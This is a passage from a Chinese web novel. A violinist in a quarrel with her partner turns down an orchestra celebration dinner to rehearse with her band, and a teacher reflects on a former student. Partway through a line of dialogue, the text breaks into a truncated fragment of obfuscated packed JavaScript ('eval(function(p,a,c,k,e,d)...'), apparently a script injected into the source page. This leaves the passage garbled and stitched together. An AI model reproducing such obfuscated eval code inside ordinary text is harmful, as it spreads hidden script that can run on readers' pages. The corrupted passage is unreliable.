随着同事的这句话,白斯榕几乎能听到很多年前少年的声音。 “也就四岁,”十七岁的少年趴在桌上,偏头看着她,目光执拗又不肯服输,“白斯榕,你也就比我大了四岁,别拿我当小孩。” 她目光落在很远的窗外,几乎是在自言自语,“他和当年变得很不一样……我总是忍不住想,是不是因为我当年处理的方式有些不对呢?毕竟那时候我也还很年轻。” “无论如何,”白斯榕轻轻地叹了口气,“毕竟他曾经是我的学生。” * 数日后,又一次音乐会结束,萧烨还是没来。 陆照霜回到后台,来不及换下身上的礼服,撑着柜门就先打开了手机,来回滑动着她和萧烨的聊天界面。 但就算她刷新再多遍,都没有萧烨的任何回复。 她无意识地咬住了下唇,眉眼间溢出难以掩饰的焦躁。 这场冷战已经持续半个月了,她给萧烨寄出音乐会的门票,就已经存了自己先低头的意思,可为什么他连一句回复都没有? 上一次他们吵架的回忆拉扯得她后脑隐隐作痛。 她开始不明白了,是她太过分了吗,她不该逞一时畅快,该忍下来的吗? 种种猜测在她失控的情绪下开始翻涌,她再也无法忍受,打开通讯录就要给萧烨拨去电话,质问他这不闻不问的样子到底是为什么? 正在这时,“咚咚”,有人敲门。 门后,工作人员朝她眨了眨眼,将一束蝴蝶兰捧着送了过来,“陆小姐,郁先生送您的花,他在休息室里等您。” 是了,今晚是和逃出人间约好的排练日。 明确的日程规整了她纷乱的思绪,她重新镇定了下来,“好的,我知道了,谢谢。” 她正准备回去换衣服,却又被另一边的声音叫住。 “照霜。”朱高远朝她招了招手。 陆照霜不明所以地走过去,“朱老师,您找我有事?” 朱老师身后还站在几个乐团的管理层,对她笑道:“从你当选首席后,大家好像还没有一起吃过饭,今晚订了一个厅,团内的人一起去聚聚,顺便给你庆祝下。” 陆照霜愣了下,脑子里首先划过的,却是——明天就是逃出人间的演出了,有几首歌还没有和其他人合过。 大家都是兼职,找出所有人都在的时间并不容易,今天不合奏,明天就只能在场上随机应变了。 陆照霜一开始就知道,即便她抽出自己所有的空余时间,用来投入到逃出人间的练习,努力平衡乐团和乐队之间的关系,也总会冲突的一天。 这二者之间,她该做什么选择,毋庸置疑。 “我……”刚一开口,她却发现自己嗓子哑了,那些该说的话一个字也说不出口。 朱高远疑惑地蹙起眉,“照霜? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆照霜却已经不愿再费心搭理她,拿起自己的东西就转身要走,正撞上汪嘉文复杂的目光。 “照霜,真的不去吗?感觉我们好久没有私下聚聚了。” 只有这一刻,陆照霜心头泛起酸楚,“抱歉,嘉文,我最近有点忙。” “唉,算了算了,你去忙吧。”汪嘉文摆摆手,状似平常地转头走了。 陆照霜手指攥紧琴盒的背带,垂头在原地静站片刻,却还是转身走向门口。 郁思弦单手插兜,等在那里,似乎是听闻了什么,目光从她面上轻轻扫过,观察着她的神色,“阿照,没事吧?” 陆照霜摇了摇头,盯着他看了一会儿,忽地一笑,“思弦,突然想起你之前跟我说,如果能有个出口,当下就不会太难捱。但对我来说好像不是那么回事。” 郁思弦探究地看着她。 陆照霜回头,望向走廊深处忙忙碌碌的乐团众人,就像隔着幕布在看一部电影,有种抽离感。 她声音很轻:“那些我本来可以接受的,好像也变得难以忍受了。” 郁思弦顺着她的视线望去,敏锐地明白了她的意思,“后悔吗?” 陆照霜笑了,“就是说啊,我怎么都不觉得后悔呢?” 虽是疑问的语气,她此刻却不愿去想为什么,只想奔向她的心之所向。 “思弦,我们走吧。”